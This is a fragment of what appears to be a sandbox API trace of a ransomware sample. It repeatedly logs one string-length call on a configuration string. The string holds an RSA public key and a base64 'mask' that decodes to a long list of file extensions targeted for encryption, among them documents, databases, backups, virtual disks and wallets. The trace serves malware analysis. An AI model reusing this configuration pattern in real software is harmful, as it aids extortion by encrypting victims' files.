sIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.465] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.465] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.465] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.465] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3